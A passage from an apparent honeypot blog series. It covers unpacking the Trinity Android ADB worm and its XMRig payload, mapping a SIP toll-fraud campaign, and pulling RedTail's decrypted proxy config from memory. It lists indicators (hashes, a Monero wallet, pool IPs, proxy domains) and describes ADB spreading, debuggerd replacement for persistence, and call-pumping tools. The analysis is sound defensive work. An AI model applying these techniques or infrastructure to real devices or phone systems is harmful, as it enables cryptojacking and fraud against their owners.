—nwlrbbmqbhcdarzo…— rang a bell. (Kidding. It rang no bell at all: I pasted it into a search engine, like anyone would.) And it turns out it's one of the most famous strings in the world, the one that shows up in a thousand tutorials. It is, exactly, what the C standard library's random generator spits out when you don't change the default seed. I checked by generating it myself: reproducing the headersrandom(1); // the default seed — the one nobody touches for(i=0;i\u0026lt;127;i++) putchar('a' + random()%26); \u0026gt; nwlrbbmqbhcdarzowkkyhiddqscdxrjmowfrxsjybld... // letter for letter Three locks, and the key left inThink about it for a second. This man went to the trouble of armouring his worm with three layers of obfuscation that defeat Ghidra and angr… and then heads his file with the default random sequence of the C library, the one that comes out of any Hello World, because he never touched the seed. It's exactly his pattern: the test certificate in chapter 8, the com.example.test in chapter 10. The path of least effort, applied to malware. With the header identified, I went after the rest convinced it would fall. I tried XOR with that same randomness. RC4. ChaCha20. AES in three modes, with keys derived from all of the above. Decompression, just in case. Nothing. Not one legible byte. And there I sat for a good while, staring at the screen. I had the decryptor right in front of me —it lives inside those very binaries— but the binary wouldn't be read, and the blob wouldn't open without the binary. Chasing my own tail. 06I stopped reading and started watching The change of mind was this: I don't need to understand how it decrypts. I need the result. And there is someone who knows perfectly well how to decrypt it and will happily do it in front of me: the thing itself. So I did what I had never done on this blog: I switched it on. Ahem. Yes, I know: I have spent twelve chapters reading critters without switching them on. Bear with me for three paragraphs, and I'll tell you where the line was (mine) and why I moved it without erasing it. Where the line is, and why this time I move itThe house rule still stands: nothing runs on the honeypot. It's a server with a public IP, and switching on an ADB worm there could mean infecting other people's devices — whether or not the address it goes out from is mine. What I did was set up another machine for this: a virtual machine with no desktop, a snapshot of the disk to roll it back, the network cable unplugged, and the thing running inside an empty network namespace — not one interface, not one route, not one neighbour. And on top of that, emulated: it's an ARM binary and the machine is Intel, so it isn't even really executing; an emulator interprets it, instruction by instruction, and I see every system call it makes. Watching is not releasing. The difference between the two is the cage. And here come the three stumbles, because the path wasn't straight and telling it saves time for whoever comes next. One. I launched it and the trace died at 76 lines, always in the same place. On startup, the thing daemonises itself: it redirects its three output channels to the system's bin. And since my trace went out through one of them, it took my own recording with it. Fixed by sending the log to a file it doesn't control. Two, and this one cost me half an hour. Look at these two consecutive lines: the trace, at the key moment2538 clone(...) // it duplicates itself 2538 exit_group(0) // and the PARENT dies right here 2540 setsid() // the CHILD breaks away... and it's the one doing the work The process you launch dies within two seconds. Everything interesting is done by a child that has broken away. And I, tidy and careful, kept killing the processes «when it finished»… taking out precisely the only one that was working. Every single time. Three. When I finally let it live, still nothing happened. I went through the trace with a magnifying glass and there it was, a one-line failure: what was missingfaccessat(\"/data/local/tmp/endat\", F_OK) = 0 // exists, good openat(\"/data/local/tmp/endat\", O_RDONLY) = 4 // opens it openat(\"/sdcard/33\", O_WRONLY|O_CREAT|O_TRUNC) = -1 ENOENT // ...and gives up here It wanted to write to /sdcard, which on an Android is the phone's storage. On my Linux machine, that folder doesn't exist. I created it for him. And on the next run, it worked. 07What was inside I looked at the folder after letting it run for thirty seconds, and there were three files that hadn't been there before: what came out of endatufo.apk 46,525 B Android package (APK) rtsh.sh 5,272 B shell script, plain text xig 657,948 B ELF 32-bit ARM, static endat was never encrypted. It's a container. A self-extracting archive, with its index at the end —that's why the first thing it does is jump to the last three thousand bytes— and its three pieces inside. All the time I spent trying AES and ChaCha, I spent asking the wrong question of a file that had nothing to hide, only something to pack. And now, the three pieces: The APK is the one from chapter 10. Not similar: the same, byte for byte, same hash. The fossil that mines for a company that closed in 2019 was travelling inside this. I closed the circle without looking for it. rtsh.sh is what chapter 10 was missing to be frightening. It doesn't mine: it takes root. It replaces /system/bin/debuggerd —the Android process that collects system crashes— with one of its own, keeping the original under another name just in case, and adjusts the SELinux labels so it passes. It tries three different tools for every operation, in case the phone is old. When it's done, it writes its signature: botbotbot. And xig. The one that came down the cable weighed 153 KB; this one weighs 658. It isn't the same file: it's what that one was going to fetch. And there's no need to guess what it is, because it says so inside: cryptonight, randomx, stratum, donate. It's XMRig, the Monero miner. The real one, the one that does make money. 08So, where does the money go? This is the question I'd gone three chapters without being able to answer. And with the miner in hand, it answers itself: a miner has to say where it sends the coins, and that can't be hidden completely. xig · what it had written inside// Monero wallet (95 characters, starts with 4) 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr // and the two places it calls 139.99.9.133:5555 78.46.89.102:7777 Careful with the second walletA second Monero address appears in the same binary. It's tempting to publish that one too, and it would be a mistake: it's XMRig's own donation wallet, which ships with the program — two of its domains sit right next to it, confirming as much. It isn't the attacker's. It's the kind of detail that, published badly, gets copied by the next person and then nobody stops it. Knock on wood. I knew which two places it can call. I wanted to know which one it actually calls. And for that you have to let it try — without letting it out. I built it a fake network: a made-up interface, with an invented address and a gateway that doesn't exist. A Faraday cage and a self-destruct button I did not add, the budget wouldn't stretch. From the inside, the thing sees a normal network. It fires its connection packet, the packet leaves through that interface… and dies there, because there's nothing on the other side. Meanwhile, I read the system's connection list: /proc/net/tcp, inside the cage0200630A:B87A 8509638B:15B3 02 ↑ ↑ 139.99.9.133 :5555 state 02 = trying to connect There it is. Of the two, it uses the first: a server in Singapore. The second, in Germany, is plan B. And the nice part of the method: not a single packet left my machine. The thing thought it was talking to the world and it was talking to a painted wall. What I won't be able to tell youWith a wallet in hand, the logical next step is to look up how much it has earned: most mining pools publish per-address statistics, and that's where the money shows. I checked the four big ones. It appears in none of them. And that makes sense: it doesn't use a public pool, it uses its own. Those two servers are his. Whoever mines on a commercial pool leaves the books open to anyone; this one built his own till, and with it his privacy. So I know where the money goes, but not how much — nor who collects it. A Monero wallet has no name on it. 09Indicators (IOCs) TypeValue SHA-256 (trinity)76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64 SHA-256 (endat)a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437 SHA-256 (xig, launcher)d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0 SHA-256 (XMRig extracted)aa85b6b8bcd3d90c2221bd6431733463… · 657,948 B SHA-256 (rtsh.sh extracted)426d8adbd84c7a12fedea5e171f6f57d… · 5,272 B Monero wallet44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr Active pool139.99.9.133 : 5555 (OVH SAS, Singapore) — no prior reports Fallback pool78.46.89.102 : 7777 (Hetzner, Germany) — no prior reports Kit components/data/local/tmp/{trinity, ufo.apk, xig, endat, rtsh.sh, lock0.txt, botsuinit_1_1.txt} · /sdcard/33 · /sdcard/44 Persistencereplaces /system/bin/debuggerd and debuggerd64 (original becomes debuggerd64_real) Rivals it uninstallscom.google.time.timer · com.android.good.miner · com.google.test.test PropagationADB · port 5555 · blind scanning, no C2 (get-state → push → install → am start) ArmourOLLVM: flattening + opaque predicates + split addresses endat signature127 bytes = libc random() with seed 1 (the factory default) IP that brought it103.221.140.29 (China Unicom) — infected device, not a hub NOT an indicatorThe address 48edfHu7V9Z84Yzz…, which also appears inside the miner, is XMRig's donation wallet and ships with the original program. Don't report it: it isn't the attacker's. Half this table has expiredThe campaign is still alive and has changed its names. If you came here to copy indicators, start with this: What I publishedWhat lands now com.ufo.minercom.google.home.tv /data/local/tmp/trinity/data/local/tmp/m7m /data/local/tmp/endat/data/local/tmp/bdat /data/local/tmp/xig/data/local/tmp/rig /data/local/tmp/ufo.apk/data/local/tmp/tv.apk /data/local/tmp/lock0.txt/data/local/tmp/lk.txt And the disguise has improved: com.ufo.miner gave itself away; com.google.home.tv passes for a Google TV app. The one thing they didn't touch is com.example.test.MainActivity, alongside the adb -s %s:5555 and get-state commands. Chapter 10 laughed at that default name nobody renamed. Eight years and a complete rotation later, it is the only indicator that still works. And on \"still alive\", which sounds like filler: between 2 and 10 September, four different trinity binaries and two versions of the container came through the bait, some of them as many as four times. This isn't a fossil asleep in a forgotten device: it's a campaign that iterates. September's container, incidentally, is the same one from this chapter plus eight bytes: a \"DATA\" 00 00 01 00 marker slipped in at the 128 KB boundary. Same payload, versioned format. The author maintains his packer even though he doesn't rename his classes — which is, in one line, the whole portrait. And one last thing about how I caught it, because the mistake is instructive. When it landed, I did the first thing you do: look its hash up in what I already have catalogued. Zero matches. A new sample, in theory. It wasn't. It was the APK from Chapter 10 under another name — same Coinhive key, the same dex, the same certificate. What had changed was the wrapper, and with the wrapper, the hash. Searching by hash doesn't recognise a repackage: it only recognises the exact file you already saw. Chapter 10 ended on an image I liked a lot: a phone mining for a company that closed in 2019, working for nobody. It's still true — of the APK. What I didn't know then is that this fossil travels as a stowaway. That it rides inside a package with a worm armoured three times over, a script that pulls out the system's insides so it never has to leave, and a real miner that does get paid, into a Monero wallet, on a server in Singapore, right now, while you read this. The poor devil from chapter 10 wasn't working for nobody. It was just the cover story. 10Postscript: I wasn't the first I published everything above and, shortly after, ran into a Chinese article from 2020. It is signed by the Qi'anxin Virus Response Center —one of China's big security companies— and titled, roughly, «A corner of IoT attacks: the unextinguished AdbMiner operation». I went straight to the appendix. And there was everything I had dug out by hand, published six years earlier: Qi'anxin appendix · 30 September 2020矿池 (mining pools) 139.99.9.133:5555 78.46.89.102:7777 钱包地址 (wallets) 门罗币 (Monero): 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr CoinHive: fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE Both pools, exact. The Monero wallet, exact. And the CoinHive key… is the one from chapter 10. The very same I pulled out of that five-kilobyte APK. What this takes away from this chapter, and what it givesIt takes away the credit for the find. I did not discover the wallet and the pools: Qi'anxin published them in 2020 and I arrived six years late, on my own and without knowing. What is mine is having confirmed them from my own honeypot, and having checked that they are still alive today. And it gives me something I could not prove alone. Notice that the CoinHive key and the Monero wallet sit in the same list, back in 2020. Chapter 10 and this one —the fossil that earns nothing and the miner that does get paid— are the same business. I deduced it by opening the container; they already had it side by side six years earlier. Two different roads, the same conclusion. Their module table, moreover, is mine under different names: Qi'anxin (2020)My sample (2026)What it is logtrinitymain module: drops the others and starts the mining bdatendatthe container tv.apkufo.apkthe CoinHive APK (already useless) rigxigthe miner rtsh.shrtsh.shthe rooting script — he did not even bother renaming it nohupnohupsame droidbot(the engine I reconstructed)the spreading worm Six years of «evolution» that amount to changing the first letter of three files. bdat became endat, rig became xig, log became trinity. The other two did not even get that. Same design, same wallet, same two servers. The path of least effort again, now measured in years. It isn't even a straight lineLook again at Qi'anxin's 2020 column and compare it with what lands this month: bdat, rig, tv.apk. They are exactly the names from six years ago. They haven't invented anything new: they have gone back. So \"six years of evolution\" falls short, and the joke turns itself around: anyone who had Qi'anxin's 2020 indicators on file would catch this month's variant. Anyone with mine from August wouldn't. Back in 2020, looking at Shodan, Qi'anxin reckoned there were close to ten thousand Android devices exposed to this. It started in 2018 aimed at TV set-top boxes and ended up turning up in electric-car charging posts. And at some point, to scan faster, somebody grafted Mirai's scanning module onto it. So the answer to «where does the money go?» has a second half I could not give on my own: to the same wallet and the same two servers since at least September 2020. Six years. Documented, public, and in full detail from day one. And there it still is, collecting. That is what I really take away from this postscript, and it is not what I expected: the problem was never that nobody had found it. It was found and published six years ago. The problem is that finding it does not switch it off. To be continued — the honeypot is still on. And this time I'm leaving a splinter in on purpose: I know where the money goes, but not how much — nor who is on the other end. 🍯","date":"2026-08","fam":"Trinity","n":13,"spec":"Trinity (spreader + container)","sum":"In chapter 10 I caught the miner, but not the thing that hands it out: that part I told on loan, using someone else's analysis. The honeypot holds a grudge, and brought me the whole thing — armoured three times over, with a blob that resisted everything I know how to do. Until I stopped trying to read it.","t":"Three locks, and the key left in","tags":["Trinity","ADB","Android","OLLVM","XMRig","Monero","qemu","reverse engineering"],"tipo":"Android miner (cryptojacking)","url":"/en/chapter-13/"},{"body":"Chapter 9 was a photograph: two hours, a handful of machines trying to make my decoy switch place calls to revenue-share numbers. Fraud caught live, told exactly as it arrived. But a photograph doesn't tell you who's behind the camera. A week later the photograph had turned into a film: the same campaign kept hitting, harder, every single day. So this time I did something different. I stopped looking at each attack on its own and set out to map the operation — its shifts, its moving parts, where the money flows and, above all, why it does things the way it does. How a phone call turns into money Before we go on, the engine behind all of this. Those initials you'll see everywhere —IRSF, international revenue share fraud— name a simple trick: somebody gets hold of a phone number that pays them a cut every time that number receives a call. The rest is arithmetic: if they can also generate the calls themselves, they're paying themselves. Every attempt you'll see in these pages is exactly that — somebody hunting for a stranger's phone switch (mine, the fake one) to place those calls, and foot the bill, for them. (Two nuances for the purist: the attack is toll fraud —slipping calls through someone else's phone switch—, distinct from the business that monetises them; and that business, when it targets ordinary Western numbering like this one, is more precisely called traffic pumping than IRSF, which is its exotic, high-tariff sibling. The underlying mechanism —getting paid for every incoming call— is the same.) 01First, a memory The decoy, the way I have it set up, has a problem for any long investigation: it forgets. My VPS isn't swimming in disk space, so I let events live for about a week and then be deleted; otherwise the disk fills up. A campaign that runs for months doesn't fit into seven days. So the first job was to build it a separate memory — a database that keeps every attempt, forever: who called, what number, with which tool, and when. tracking.db · one passingest → dedup by event_uuid (idempotent) total events : 71,467 distinct IPs : 154 number cores : 904 window : 22 Aug → 28 Aug (That \"core\" is my normalised form of the destination number: I strip the dialling prefixes —00, 011, 900…— the attacker tries in front of it, to group all the variants that end at the same phone. The same destination shows up dialled a hundred different ways; the core is the real one.) seen With this, every week I can add a fresh photograph without losing the earlier ones. It isn't an incident: it's a stakeout. And with six days of data already loaded, I started pulling the thread. How I read the signal I don't attribute a tool from its User-Agent alone —the label each program introduces itself with when it connects, which gets faked, and here it does— nor an operating system from TTL alone. I classify each piece by the combination of several signals: the SIP behaviour, the headers, the rhythm, what the service exposes and, when there is one, the software version. Some of what I tell you here are direct observations; others are hypotheses with more or less confidence. I'll say which is which as we go. 02The assembly line The first thing the graph of who dials which number shows is that this isn't a clumsy swarm flailing about. It's a factory, with job stations. v_pairs · roles by function172.110.223.207 → 14,265 REGISTER // enumerator: probes extensions 172.110.223.49 → 16,560 INVITE to 1 number // pumper: one target 149.50.107.48 → 1,752 INVITE to 1 number 149.50.107.53 → ~1,600 INVITE to 1 number Some machines only do REGISTER: they probe extensions blindly —the internal lines of a phone switch, 200, 201…— looking for an open door (one with no password). Others only do INVITE: once there's a door, they pump calls. And here's the detail that gives away the industry: one number, one node. The pumper 172.110.223.49 dialled the same number more than sixteen thousand five hundred times. And it's not just an impression: of the machines that pump, grouping their destinations by normalised core, 64% attack a single destination, 85% one or two. That isn't chance — it's a production line, with every worker at their station. Even inside the same provider (ReliableSite, with the IPs geolocated in Hong Kong) an enumerator and a pumper live side by side: division of labour under one roof. seen And there's another layer, one you don't see by looking at who calls what, but by measuring when. I timed each machine's pulse —the gap between one call and the next— and a pattern showed up that I wasn't expecting: timing signature · subnet 149.50.107.x (MEVSPACE, Poland)149.50.107.43 one call every 133 s regularity 0.98 149.50.107.47 one call every 114 s regularity 0.97 149.50.107.48 one call every 106 s regularity 0.99 149.50.107.49 one call every 118 s regularity 0.99 149.50.107.53 one call every 111 s regularity 0.99 That's five machines from the same subnet —near-consecutive addresses at one Polish provider— and each fires a call roughly every two minutes, like a metronome: almost all of their intervals are identical (that regularity ~0.98, on a scale from 0 to 1 where 1 would be a perfectly periodic cadence). seen They don't dial when they feel like it; they follow a clock. Five clocks on the same shelf, all keeping the same time. Five patterns like that are hard to explain as anything independent: they look like a single piece of automation —a rented subnet running the same script. And the same beat turns up on machines at other providers. At PebbleHost, one ticks every 53 seconds; at LeaseWeb —different company, different network— another ticks every 57, both just as metronomic (regularity 0.98). The same kind of clock in different rented houses. seen I can't prove it's the same operator — I don't have their invoice or their name. But you tell me: how else do you explain machines on networks and providers that have nothing to do with each other each ticking with such an exact clock, and in such similar time? It doesn't look like a swarm of unconnected attackers: it looks more like a single hand winding up clocks in different houses. The factory doesn't just divide the work: it looks like it has a foreman keeping the beat. deduced 03The number has an owner The destination numbers looked like they came out of a hat: London, York, Ontario, Milan, Bratislava… But they aren't anonymous. Numbering is allocated in blocks to carriers, and in many countries —the United Kingdom among them— that register is public: the regulators publish it themselves. You just have to go and look. I downloaded the official British numbering list (Ofcom's codelist) and looked up who each block belongs to. The same name came back again and again: Ofcom codelist · who the block belongs to020 3769 → DIDWW Ireland Limited 01904 911 → DIDWW Ireland Limited 01668 509 → DIDWW Ireland Limited 028 4024 → DIDWW Ireland Limited … → DIDWW (6 of 6 UK blocks) DIDWW in all six British blocks. seen And across the Atlantic, three more names — Fibernetics, Onvoy/Inteliquent, Iristel. All of them the same class of company: numbering wholesalers, providers that resell phone numbers in bulk. This does not mean DIDWW is behind the fraud. It means something more specific: that the numbers used by the campaign come from blocks whose regulatory allocation leads repeatedly back to the same wholesaler. Between the holder of the resource and whoever is using it there's a chain of intermediaries I haven't reconstructed yet. And there's the mechanics of modern fraud, laid bare: it doesn't need to invent numbers; it works with real numbering. The known model is a resale chain —wholesaler → intermediary → end user— and, at the far end, the fraudster uses it to get paid for every call they manage to pump. read And one detail jumps out: they show up in clusters — 020 3996 ·70 ·74 ·96, three numbers from the same block. Used within the same campaign, they hardly look like a completely random selection. It's consistent with them coming from a batch allocated or sold together. I can't see the contract behind it, but it would be worth a look. And the register says something else: these blocks aren't from yesterday. DIDWW has held them since 2014, 2016, 2019 and 2022 — none of them appears among the last year's new allocations. seen This isn't numbering freshly minted for the scam: it's a wholesaler's legitimate, well-aged inventory. When it jumped from there into the campaign, and through how many hands, no public register will tell you. 04Why these numbers, exactly? Here's the question that kept nagging at me. Textbook IRSF calls exotic, expensive destinations — Pacific islands, satellite, ultra-high-tariff lines. But my attackers were dialling… York. Milan. A landline in Ontario. Western numbering, boring, cheap. Why give up the number that pays best? The answer turns the intuition on its head. One half the anti-fraud industry documents —fraud no longer needs expensive numbers—; the other, the why, is mine: they pick them for stealth. deduced The twist that explains everything The play is to swap high-tariff destinations —the ones everybody watches— for Western numbering that is low-risk and low-reward. The advantage? Those numbers aren't on the blocklists, nobody scrutinises them, so the fraudulent line survives for weeks instead of hours. You earn less per minute, but you earn it for much longer. Patience instead of greed. And that explains my entire sample. They didn't pick York at random or out of clumsiness: they picked it because it looks legitimate. A York landline receiving calls doesn't trip any \"risky destination\" alarm; a Tuvalu number does. The sophistication isn't in the attack — it's in the camouflage. They choose the number that draws the least attention, so the till keeps ringing long after the noisy neighbour's has been switched off. The GSMA confirms the first half of the intuition: today's IRSF no longer needs obviously fraudulent numbers — in 2023, 90.99% of the attacks in their sample went against valid numbering (and it isn't a recent fashion: back in 2020 it was already about the same, 91.13%). read What my data suggests is the next step, and this one is my own hypothesis: that among those valid destinations, the fraudster is hunting precisely for the ones that raise the fewest suspicions. And the stealth shows up even in the rhythm. Measuring how long each number survives in my decoy, two tempos appear: the ones that last for days get pumped on a slow burn —around 40 calls an hour— and the ones that burn out within hours get milked hard —up to 170 an hour— until somebody cuts them off. The same logic, now in the cadence of the calls themselves: the one that goes slow, lasts. seen 05The factory runs on free tools With the memory full, I could finally count what they hit with. And I expected to find some private kit, something custom-built. What's there is the opposite: public utilities anyone can download. breakdown by tool (User-Agent)generic \"VOIP\" dialer 31,717 // 44% SIPPTS (pplsip, by Pepelux) 17,713 // 25% · SIP auditing in Python rotated carrier UAs 6,656 // 9% · fake Cisco/Avaya/AT\u0026amp;T… SIPVicious (friendly-scanner) 94 // the 2007 classic Close to 80% of the traffic arrives wearing a non-malicious label —a generic dialer, an auditing tool, or a carrier's name— rather than as custom malware. seen But you have to be careful here, because that label gets faked — in fact, 9% are fake carrier User-Agents. That said: faking a scanner's name gains you nothing —it only gives you away and gets you blocked—, so when pplsip or friendly-scanner shows up, the most reasonable reading is that they're what they announce: SIPPTS (a SIP auditing suite, incidentally written by a Spanish researcher) and SIPVicious with its default configuration. With a name, and with reasonable confidence, that's what I can point at: SIPPTS, a quarter of everything. The 44% that announces itself as plain \"VOIP\" and the 9% that's faked aren't tools I can name. Confirming what's actually running takes looking at behaviour, not the label — another thread to pull. But the wider picture doesn't change: you don't need malware to explain this. Nothing to open in Ghidra; the whole operation is assembled from what a security student uses in class. And there's the contrast that defines this story: the money side is remarkably sophisticated —numbering wholesalers, resale chains, the stealth strategy— and the attack side is bargain-basement. The clever part isn't the hacking; it's the plumbing. Whoever runs this isn't a coding genius: they're a manager who has understood the plumbing of the world's phone system and opens the tap with free tools. 06Whose machines are these And the machines doing the dirty work? For the operating system I don't trust a single clue. I use the initial TTL of the packets they sent me —the value they left with, discounting the network hops along the way— plus a scan of the services and their versions. With that, the fleet points to a mix: around 24 Windows, around 13 Linux. That third of Linux tells a story. seen They're old, unattended VPSs — an OpenSSH from years ago, unpatched, listening on the usual port. You don't need an exotic exploit to explain them: the simplest hypothesis is compromise via weak or reused SSH credentials, but I can't rule out other ways in. What I have lets me call a machine probably compromised, but not yet reconstruct how they got in. They're victims: somebody's servers, and that somebody has no idea their machine has spent days calling York in the small hours. And the two that pump the most are hiding a second trade. They have thousands of open ports — 2,606 on one at ReliableSite, 708 on one at OVH. seen That isn't a phone switch: it fits a proxy exit node —a datacentre server that would resell its connection so other people's traffic can leave through it—, though the open ports, on their own, don't prove it. (I'm not calling it proxyjacking: that term is for other people's machines being hijacked, and these look like infrastructure rented or set up on purpose for that role.) The same machine that pumps fraudulent calls appears to be running that second function at the same time. One server, two dirty businesses stacked on top of each other. You pull one thread and three appear. 07Indicators (IOCs) For anyone who wants the detail, the campaign's technical dossier — what anybody trying to recognise or cut it off would write down: TypeValue FamilySIP toll fraud · traffic pumping (campaign) Pumper #1 + proxy172.110.223.49 · ReliableSite (HK exit) · SIPPTS · 2,606 ports Enumerator (REGISTER)172.110.223.207 · ReliableSite · Linux/nginx Pumper + proxy51.75.106.116 · OVH · 708 ports · Scamalytics High Risk read Pumper subnet149.50.107.0/24 · MEVSPACE (Poland) · 5 metronomic IPs (.43 .47 .48 .49 .53) · cadence ~106–133s · regularity ~0.98 Timing signature (twins)same kind of clock at different providers: PebbleHost 194.213.3.117 (~53s) ~ LeaseWeb 203.23.128.196 (~57s) · both regularity 0.98 Tools (public)SIPPTS (UA pplsip, 25%) · VOIP dialer (44%) · spoofed carrier UAs (9%) · SIPVicious (friendly-scanner, 0.1%) Attack signaturedialling-prefix fuzzing (00/011/+/810/900…) over a normalised destination; one node per number Victim recruitmentWindows/Linux mix · on the old Linux ones, probable SSH compromise Wholesalers of the destinationsDIDWW Ireland (×6 UK) · Fibernetics · Onvoy/Inteliquent · Iristel Destinations (DO NOT CALL)legitimate low-risk geographic/mobile numbering · chosen for stealth · several numbers from the same block = probable batch About the numbersThey're listed as evidence, not as something to dial: calling one of those numbers is the fraud — it's money into the fraudster's pocket. There isn't a single number here presented as \"try calling it\". 08What this reveals Who was on the other end? I still don't have a name —and I don't want one: that goal isn't mine to chase— but I do have a portrait: not a hooded coding genius, but somebody running a factory; \"workers\" that are in good part other people's compromised machines; and a till that, at the very end of it all, hangs off one very specific numbering wholesaler. That's what six days of memory show: The numbers aren't random: they have an owner, and the owner is in a public register. Tracing numbering is every bit as \"OSINT\" as tracing an IP — it's just that almost nobody looks there. They pick the number that draws the least attention, not the one that pays the most. The sophistication of the fraud isn't in the blow, it's in the camouflage: clean Western numbering that survives for weeks because nobody is watching it. The factory runs on free tools. Almost 80% of the traffic presents itself with non-malicious labels —dialer, auditing, carrier— rather than custom malware; and only 25% (SIPPTS) is an auditing utility I can name with confidence. The expensive, clever part is the money plumbing, not the code. The same rented infrastructure seems to serve several frauds at once. The nodes pumping calls look like they double as proxy exits. You pull one thread and three appear. It isn't a swarm, it's an orchestra. An entire subnet beats in the same time, and the pattern repeats at other providers. I can't prove it's a single hand — but the pattern suggests that behind those 154 IPs there are, probably, far fewer operations than it looks. The cut-off point isn't the machine, it's the number. You can take down a hundred VPSs and they'll rent a hundred more. But the number hangs off a specific wholesaler, and that wholesaler can suspend the reseller. That's where it hurts. To be continued — the tracking machine is still running. This is photo 1 of N: in a few weeks I'll know who persists, which numbers have burned out and which are still cashing in. It wasn't an incident. It's a stakeout. 🍯","date":"2026-08","fam":"VoIP","n":14,"spec":"Toll fraud / traffic pumping (SIP)","sum":"In chapter 9 someone tried to make my phone switch pay for their calls. I wrote it up and closed the incident, with one question left hanging: who was on the other end? This time I didn't just watch through the window. I gave the decoy a memory, followed the number's trail, and found out why they pick exactly those numbers.","t":"The call factory","tags":["SIP","toll fraud","IRSF","SentryPeer","OSINT","honeypot"],"tipo":"Toll fraud (SIP)","url":"/en/chapter-14/"},{"body":"In chapter 6 I left off with a promise: \"The binary isn't going anywhere. I'll be back.\" And with a gap in the map — a line that read ??? decrypted and an arrow next to it: this is where I stopped. I remember where I left it, which is where this starts. I opened RedTail's miner looking for its Monero wallet —where the money goes— and came away with three things: that the wallet isn't in the binary, and isn't there by accident; that the configuration does go inside, embedded and encrypted; and that, sweeping the whole file with a statistical test, the fingerprint of a repeating-key XOR showed up nowhere — from 1 to 40 bytes of key, not a single hit. What I didn't get was the middle piece: what turns those encrypted bytes into the text the miner reads. Days later I had two things I didn't have then. A cage to run live bugs in without them escaping. And a splinter that chapter 13 had left stuck in me. Let me tell you. 01The lesson I'd already written The chapter 13 thing went like this. I gutted a bug, thought I was the first to spot one particular gut, and before publishing did what I always do: paste the finding into a search engine. Out came a Chinese report from 2020 with everything of mine in it, six years earlier. I wasn't the first. Not by a long shot. With that splinter I reread my own chapter 6. And the uncomfortable part wasn't finding a mistake — it was finding, in the last section, this conclusion signed by me: What I myself wrote in chapter 6\"Check first whether someone already came this way. It should have been the first thing, not the last.\" The lesson was already written. I had written it. And even so, a few paragraphs above that line, there was another I had never verified: \"nobody has published how RedTail's configuration is decrypted\". And look, search I did. I went to Akamai, the reference for this family, and to Malpedia, the catalogue. I found nothing, and sat back happy. What I didn't do was keep searching after the big source agreed with me. So this time I searched differently: with other words, in other languages and in smaller places. And I got it wrong again — but in a different way. 02It was written down. In Italian. It didn't take much digging, once I stopped digging where I'd already dug. An Italian technical analysis had the family cut wide open, and it matched piece by piece what Akamai had already told: Its proxy domains, names and all, published. And two more than I'd managed to see. Port 2137 —the one I flagged in chapter 6 as its signature— documented as its mining channel over TLS. Why the wallet is missing. And here I'll be fair to myself, which is easy to overdo in the self-flagellation direction: in chapter 6 I got the what right. I said the wallet isn't in the file and isn't there by design, and I deduced it by looking at what had been amputated from the miner. What I didn't have was the how, and Akamai spells it out: RedTail doesn't point at a public pool — it stands up its own mining infrastructure, its own private proxies and pools, which recognise its miners by the IP they call from. The wallet stays on that side. In the binary it isn't needed. In other words: my conclusion was good, and the mechanism that explains it had been published for over a year. Which is an elegant way of saying I spent an afternoon deducing something I could have read. And the other wall, the decryption one —the one I left open with an I'll be back—, wasn't an open mystery either. It was a mystery solved in a language it didn't occur to me to try. 03But I had the cage built I could have left it there, with the lesson learned for the second time and my face a little red. But I had an itch left — and a tool. From Trinity, the worm in chapter 13, I still had a lab to run malware without it escaping: an isolated machine, the network cable unplugged, and the process locked inside a fake network —a bogus interface, a route to nowhere— from which not a single packet leaves. I tested it before anything else: from inside that cage, the internet doesn't exist. And I thought: since I've got it, I'll walk the same path. Not to discover anything the others didn't know —I'd already accepted that— but to see it with my own eyes, from my own decoy. The miner decrypts its config on startup, holds it in memory for a few instants before trying to connect. I just had to look at that moment. The same line I moved in chapter 13Yes, this is running a live bug, and yes, it goes against the rule I started this log with. I move it the same way I moved it in chapter 13, and for the same reason: in a cage, with no network, observing isn't releasing. And here, on top of that, it's a miner, not a worm: this binary doesn't spread by itself — its thing is to mine and talk to its infrastructure. (That the campaign delivering it uses exploits and stolen credentials is another story, and not the one running here.) In a fake network, that call dies against a painted wall. 04What I saw in memory I launch the miner inside the cage and lose sight of it in two seconds. Because the first thing it does isn't mine: it's disappear. It detaches from the terminal that launched it and shows up in the process table under another name. Where the file name should go it reads php-fpm: pool www — a web-server process about as boring as they come, the sort nobody scanning a ps runs a finger over. Among its other disguises it carries /bin/mariadbd and /usr/sbin/ip: a database and one of the system's own network tools. A trick of the trade, for whoever comes afterBy name you won't find it, because it made the name up. I found it by the user I launched it as: a process can change its label, but not its owner. And here's the beauty of the cage: no rush. The bug is already running, it's already decrypted the configuration so it can use it, and it still hasn't managed to talk to anyone. So I freeze it dead —a stop signal, and the process stays mid-sentence— and I read its memory from outside, calmly, through the same place the system lets you look at any process of your own. And there it is. In the clear. The same thing that on disk is encrypted: decrypted config · pulled from the process's memory\"url\": \"proxies.identities.network:2137\" \"url\": \"proxies.insanecppdev.com:2137\" \"url\": \"proxies.insanitycpp.cx:2137\" The three proxies, on 2137. Exactly what the reports said — but coming out of my bug, on my machine, with my own hands. It's not a scoop; it's something else. It's the difference between believing something and having seen it. A warning if you're going to note those names down: they rotate. A public tracker listed, that same day, different domains from the same family. These three are the ones my sample carried, not RedTail's eternal list. And with the configuration came a detail I wasn't expecting. The only connection the miner attempts on startup doesn't go to any of its proxies: it goes to port 853 of an IP. 853 is the usual port for DNS over TLS, so everything points that way — whether the connection really carries DoT inside I haven't opened up to check; what I have is the destination and the port. Instead of asking \"what IP does proxies.insanecppdev.com have?\" in plain view of everyone —its provider, the household firewall, anyone watching the traffic—, it asks over an encrypted channel. It doesn't just hide who it talks to: it hides who it asks about it. I went to check whose IP that was before getting excited —lesson learned, and this time in time— and just as well. That IP answers as dns.njal.la: the public resolver of Njalla, a Swedish privacy-oriented service that plenty of legitimate people use. It's not an IP I can attribute to RedTail's infrastructure — it's a third-party service the bug asks. That is: it doesn't run its own DNS. It leans on someone else's, privacy-oriented, and wraps the query inside an 